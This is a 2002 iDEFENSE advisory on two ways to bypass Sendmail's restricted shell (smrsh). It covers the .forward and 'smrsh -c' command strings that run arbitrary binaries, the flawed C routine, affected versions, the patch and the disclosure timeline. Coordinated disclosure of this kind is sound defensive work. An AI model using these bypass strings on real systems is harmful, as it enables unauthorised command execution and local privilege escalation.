idefense.smrsh.txt

`-----BEGIN PGP SIGNED MESSAGE-----  
Hash: SHA1  
  
iDEFENSE Security Advisory 10.01.02   
Sendmail smrsh bypass vulnerabilities  
  
DESCRIPTION  
  
It is possible for an attacker to bypass the restrictions imposed by  
The Sendmail Consortium’s Restricted Shell (SMRSH) and execute a  
binary of his choosing by inserting a special character sequence into  
his .forward file. SMRSH is an application intended as a replacement  
for sh for use in Sendmail. There are two attack methods both of  
which are detailed below.  
  
METHOD ONE  
This method takes advantage of the application's implementation of  
the  
'||' command. The process is best explained with an example:  
  
$ echo "echo unauthorized execute" > /tmp/unauth  
$ smrsh -c ". || . /tmp/unauth || ."   
/bin/sh: /etc/smrsh/.: is a directory  
unauthorized execute  
  
/tmp/unauth is executed despite the fact that it is not located in  
the SMRSH restricted directory /etc/smrsh. This happens because SMRSH  
first checks for '.', which exists, and does no further verification  
on the files listed after '||'. The same attack would look like the  
following in the attackers .forward file:   
  
"| . \|| . /tmp/unauth \|| ."  
  
METHOD TWO  
This method takes advantage of the following routine from smrsh.c:  
  
/* search backwards for last / (allow for 0200 bit) */  
while (cmd > q)  
{  
if ((*--cmd & 0177) == '/')  
{  
cmd++;  
break;  
}  
}  
  
It is possible to feed SMRSH a command line that will be internally  
converted to a space thereby bypassing all filters, yet will still  
execute. Examples of these include:  
  
smrsh -c "/ command"  
smrsh -c "../ command"  
smrsh -c "./ command"  
smrsh -c "././ command"  
  
The listed routine will convert any of the above examples to a space.  
However, when the following execle() call is reached:  
  
(void) execle("/bin/sh", "/bin/sh", "-c", newcmdbuf, NULL, newenv);  
  
SMRSH will execute:  
  
/bin/sh -c command  
  
Notice that despite the double space ‘command’ will still execute.  
The .forward variation of this attack works the same way.  
  
The Common Vulnerabilities and Exposures project (cve.mitre.org) has  
assigned the name CAN-2002-1165 to this issue.   
  
  
ANALYSIS  
  
The following are required conditions for successful and meaningful  
exploitation of this vulnerability:  
  
- - - The target system must be utilizing SMRSH.  
- - - The attacker must have a valid local account on the system.  
- - - In method one the attacker must be able to create files.  
  
While this exploit obviously removes the restrictions imposed by  
SMRSH it also allows users to execute programs on systems that they  
do not have shell access to. Utilizing either of the above-described  
methods, an attacker who can modify his own .forward file can execute  
arbitrary commands on the target system with the privileges of his  
own account. Systems that forbid shell access generally do not have  
tightened local security, the ability to execute arbitrary commands  
through the SMRSH vulnerablity opens the target system to local  
privilege escalation attacks that otherwise would not be possible.  
  
  
DETECTION  
The latest versions of SMRSH are vulnerable. Including the version  
packaged with Sendmail 8.12.6 and Sendmail 8.11.6-15 (default install  
of Redhat 7.3). Older versions of SMRSH do not appear to be  
vulnerable (8.11 5/19/1998). The version of SMRSH available at  
ftp://ftp.uu.net/pub/security/smrsh is also not vulnerable.  
  
  
WORKAROUND  
Sendmail.org has provided a patch addressing the above-described  
issues.   
The patch is available for download at  
http://www.sendmail.org/patches/smrsh-20020924.patch.  
  
  
VENDOR FIX/RESPONSE  
  
Sendmail.org's official comment:   
  
"We would like to thank iDEFENSE, zen-parse, and Pedram Amini for  
bringing these problems to our attention.  
  
If you actually use a vulnerable smrsh version (which can be tested  
according to the descriptions given before), please apply the patch  
that has been made available. To figure out whether your  
configuration  
uses smrsh, check your sendmail.mc file, i.e., look for  
  
FEATURE(`smrsh')  
  
and check your sendmail.cf file (usually located in /etc/mail or  
/etc):  
  
grep '^Mprog.*smrsh' sendmail.cf  
  
Also consider whether you actually need this feature, e.g., if you  
make procmail available to your users then smrsh is basically  
useless."  
  
  
DISCLOSURE TIMELINE  
  
9/1/2002 Disclosed to iDEFENSE  
9/24/2002 Disclosed to [email protected]  
9/24/2002 Disclosed to iDEFENSE clients  
9/24/2002 Response from Greg Shapiro [email protected]  
9/25/2002 Coordination from Claus Assmann [email protected]  
10/1/2002 Public Coordinated Disclosure  
  
  
CREDIT  
  
Method One was exclusively disclosed to iDEFENSE by zen-parse  
([email protected])  
  
Method Two was discovered during the verification process by Pedram  
Amini ([email protected])  
  
  
Get paid for security research  
http://www.idefense.com/contributor.html  
  
Subscribe to iDEFENSE Advisories:  
send email to [email protected], subject line: "subscribe"  
  
  
- -dave  
  
David Endler, CISSP  
Director, Technical Intelligence  
iDEFENSE, Inc.  
14151 Newbrook Drive  
Suite 100  
Chantilly, VA 20151  
voice: 703-344-2632  
fax: 703-961-1071  
  
[email protected]  
www.idefense.com  
  
-----BEGIN PGP SIGNATURE-----  
Version: PGP 7.1.2  
Comment: http://pgp.mit.edu:11371/pks/lookup?op=get&search=0x4B0ACC2A  
  
iQA/AwUBPZnxEErdNYRLCswqEQLrkACdHdU6cpv+NEzsJPi4ZZQxe2iy2NkAoKn0  
ddyu8Js8PWZ/LMCNh+hYejfz  
=CEof  
-----END PGP SIGNATURE-----  
  
`